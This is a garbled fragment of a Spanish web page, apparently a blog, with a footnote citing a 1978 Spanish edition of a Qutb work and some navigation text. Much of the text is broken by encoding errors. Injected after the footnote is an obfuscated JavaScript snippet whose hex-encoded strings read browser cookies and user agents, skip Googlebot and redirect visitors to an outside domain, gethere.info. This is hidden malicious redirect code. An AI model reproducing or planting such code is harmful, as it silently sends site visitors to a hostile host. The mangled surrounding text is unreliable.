[48]A�A�A�A�A�A�A�A�A�A�A�A� QUTB, S.: Las normas en el camino del Islam, Centro IslA?mico, Granada, 1978, p. 73-108.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Acerca de Bella María

Ver también

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A JosA� A?ngel HernA?ndez A�El islam (no me refiero aquA� a ninguna religiA?n histA?rica, sino …

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